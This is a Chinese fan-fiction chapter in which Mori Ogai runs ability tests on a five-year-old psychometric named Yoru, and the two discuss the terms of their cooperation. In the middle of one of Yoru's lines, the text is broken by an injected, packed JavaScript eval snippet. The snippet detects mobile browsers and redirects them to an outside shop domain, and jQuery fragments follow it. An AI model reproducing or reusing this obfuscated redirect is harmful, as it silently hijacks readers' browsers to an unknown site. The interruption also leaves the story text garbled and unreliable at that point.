第二天一早,夜被带到了一个更大的白色房间。
这间房间更像一个实验室——白色的操作台上整齐排列着各种物品,从玩具积木到金属零件,从书籍到照片,甚至还有一只装在笼子里的白色实验鼠。天花板上安装了十几个摄像头,墙壁一侧有一面单向玻璃。森鸥外站在玻璃后面,手里拿着笔记本,目光透过镜片专注地观察着。
房间中央有一张椅子。夜被研究员领到椅子上坐下。
"第一项测试,"研究室内的扬声器传来森鸥外的声音,"告诉我,桌上那个蓝色积木的'历史'。它被谁触摸过?在哪里?什么时间?"
夜看向桌上的积木。一个普通的木质积木,蓝色的漆面有些磨损。他的异能感知向外延伸,触碰到积木的那一刻,信息涌入——不强烈,但很清晰。
"……三天前被一个七岁的男孩拿过,"夜说,"他右手食指有伤疤。在这里——"他指了指桌上某个位置,"——被放下。男孩当时不高兴,因为他想要红色的那块,但研究员说蓝色更合适。"
单向玻璃后,森鸥外的笔尖在纸上停了一瞬。他回头看向身边的一个研究员,后者正微微张着嘴。
"七岁男孩,"研究员低声确认,"三天前。那是——"
"我知道是谁,"森鸥外打断了研究员的话,然后在扬声器中说,"下一项。桌上的照片。告诉我这张照片的拍摄地点、时间,以及照片中每一个人的心理状态。"
夜看向照片。一张普通的黑白照片,五个人站在一栋建筑前合影。他的异能接触到照片表面的那一瞬间——
"千叶县,一九三八年七月,"夜说,声音开始微微颤抖,"照片中的人……中间那个男人刚死了儿子。他在笑,但心里在想'为什么是他不是别人'。左边第二个女人在害怕——她手里的包藏着一张字条,是逃跑路线的草图。右边那个男人——"
夜停住了。他的手指开始发抖,额头上沁出细密的冷汗。照片中的人"记忆"正在涌入,那些压抑了多年的秘密在二次曝光之下变得无比清晰——背叛、恐惧、绝望、杀意……所有情绪同时涌来,像一只无形的手捏住了他的大脑。
"够了,"森鸥外的声音从扬声器中传来,平静而果断,"停止读取。"
夜猛地抽回手,大口喘着气。脑中的影像仍在余波荡漾,但他努力去想象那堵墙——河堤,灰色的河堤,把水流挡在外面。信息洪流在墙外翻涌了一会儿,然后渐渐平复。
"你做得很好,"森鸥外的声音再次响起,带着一种赞赏的温度,"休息五分钟。接下来测试不同材质对你能力的影响——金属、液体、生物组织。我们一步步来,不急。"
夜点了点头,靠在椅背上,闭上眼。他的手心全是汗,心跳快得像擂鼓。但他没有哭,也没有喊停。
因为停不下来。
在接下来的七天里,神崎夜接受了他人生中第一轮系统性的"能力测试"。测试范围几乎涵盖了一切他能想到和想不到的项目——不同的材质(金属传导信息的能力远强于木材)、不同的距离(十米以内最强,超出后急剧衰弱)、不同的信息类型(情绪记忆比事实记忆更易读取,但也更易造成反噬)、不同的目标对象(人类的信息量最大、最复杂,动物次之,非生命体最弱但最稳定)。
森鸥外每天早上八点到实验室,坐在单向玻璃后记录数据,下午三点离开。研究员们二十四小时轮班,每两小时给夜做一次脑电图和基础体检。夜被要求详细描述每一次异能触发的感受,越具体越好,越细致越好。
"像什么?"有一天森鸥外问,"用你能想到的最具体的比喻。"
夜想了想,说:"像站在瀑布下面。每滴水都是一条信息。有些水滴很小——比如桌子的材质、温度——它们打在皮肤上不痛。但有些水滴很大——比如人的情绪、记忆——它们砸下来很痛。我没办法选择哪滴水落在身上。我只能在落下来之后,试着去理解它。"
森鸥外在笔记本上飞速记着什么,然后抬起头,隔着玻璃露出一个微笑。"非常好的比喻。那么,如果我们把瀑布的水量减少呢?如果我们在瀑布上方建一个水闸呢?"
夜沉默了一会儿。然后他说:"你需要教我建水闸。"
"我就在教。"
第七天晚上,测试结束。研究员把夜带回他的白色房间,给他准备了晚饭。这一次是咖喱饭,比前几天的饭菜都要香。夜坐在床边,一口一口慢慢地吃,同时感知着食物里承载的信息——厨师是个五十岁的男人,今天心情不错,因为女儿考上了大学,他在切洋葱时哼着一首老歌。
夜发现,当他刻意去"只读取表层信息"时,头痛会减轻很多。厨师的愉快情绪像一层薄薄的暖流,盖住了咖喱里更深层、更复杂的"历史感"。他只需要停留在那一层就够了,不需要再往下挖——不需要知道这块牛肉来自哪头牛,那头牛活着的时候经历过什么。
水闸。他在学着建水闸。
门锁响了。森鸥外走进来,手里拿着一个牛皮纸信封。他今天穿的是便装,灰色西装外套,里面是浅蓝色衬衫,没有打领带。夜注意到他的眼睑下方有淡淡的青色,似乎这几天也没怎么好好休息。
"第七天的测试结果出来了,"森鸥外说,拉了把椅子在夜对面坐下,"你的能力核心参数基本稳定。感知半径十米,上限因目标类型而异,信息处理速度大约是常人的——"他看了一眼信封里的报告,"——十七倍。大脑的代谢率在此期间显著上升,这是你经常感到饥饿和疲劳的原因。"
夜放下勺子,认真地听着。
"好消息是,你的能力有可训练性。"森鸥外把报告放回信封,"继续训练的话,未来有可能扩大感知半径、延长信息留存时间、甚至细化到选择性读取。坏消息是——"他微微停顿,"——你的大脑结构因为异能的影响产生了一些不可逆的变化。具体来说,你处理信息的方式已经和普通人不同了。这不是坏事,但在某些情况下,可能会让你感到……孤立。"
夜沉默地听着,然后问了一个让森鸥外没想到的问题。
"你会把这个能力用去做什么?"
森鸥外挑起眉毛。"什么?"
"你不会只是为了让我训练而训练
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17712410|208459||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,"夜说,那双深色眼睛平静地看向森鸥外,"你让我读照片、读物品、读人……你在收集信息。你在想,这个能力能做什么。所以我想知道——你打算用它做什么?"
短暂的沉默。房间里只有通风口吹出的细微风声。
森鸥外看着面前这个五岁的孩子,然后笑了。那是一个真切的、发自内心的笑,和他平时那种温和但疏离的微笑不同。他的眼睛里有什么东西闪烁了一下——或许是欣赏,或许是惊讶,或许是对这个孩子未来的某种预判。
"我想用你,"森鸥外说,"去理解那些无法被言语捕捉的东西。一个人的真实意图、一个组织的潜在动向、一栋建筑里藏着的秘密……这个世界上绝大多数重要的信息,都写在人们看不到的地方。而你——你能看到。"
夜没有说话。他在消化这些话。然后他说:"你会伤害人吗?用我的能力。"
森鸥外看着夜的眼睛。那双眼睛里没有指责,没有恐惧——只有纯粹的、冷静的求知欲。这个孩子在问一个关于道德的问题,但他问这个问题的方式,像是在问"水为什么会结冰"。
"有时候会,"森鸥外坦率地回答,"有些信息的获取,不可避免地伴随着伤害。但我不会伤害无辜的人——这是我的规则。你接受这个规则吗?"
夜考虑了很久。久到森鸥外以为他不会回答了。
然后夜说:"我接受。"
他端起已经微凉的咖喱饭,又吃了一口,然后含糊地补充了一句:"但如果有一天你伤害了我认为不该伤害的人,我会走。"
森鸥外微微一笑。"你会吗?"
"会。"夜说,没有抬头,继续吃饭,"因为我不能接受自己成为工具。我可以成为你合作的人,但不能成为你使用的工具。这两个不一样。"
森鸥外靠在椅背上,双手交叉放在膝盖上,看着面前这个吃咖喱饭吃得满脸酱汁的孩子。他的脑子里掠过许多想法,许多计划,许多关于这个孩子未来可以扮演的角色的预演。但最后他只是说了一句话。
"你不会成为工具,夜。你会成为一柄刀。而刀——"他站起身,走向门口,"——是有选择砍向何方的权利的。这是我对你的承诺。"
门关上了。夜坐在白房间里,端着已经空掉的碗,看着那扇白色的门。
刀。他说我会成为一柄刀。
夜把这个词放在脑子里,翻来覆去地看。他能感知到森鸥外说这句话时的情绪——那是一种混杂着算计和真心的复杂情绪,如同一条河的两条不同支流在同一个河□□汇。森鸥外确实想利用他,但同时,也确实看重他。
这大概就是"成人"世界的逻辑吧。夜里没有完全理解,但他决定记住。
他放下碗,躺回床上,看着白色的天花板。
刀是可以选择方向的。
那他就做一柄刀。一柄由自己来决定方向的刀。
他闭上了眼睛,在白色房间单调的灯光中沉入睡眠。窗外是横滨的深夜,远处港口有汽笛声传来,低沉而绵长。
这座城市在呼吸。而他,正在学着成为这座城市的一部分。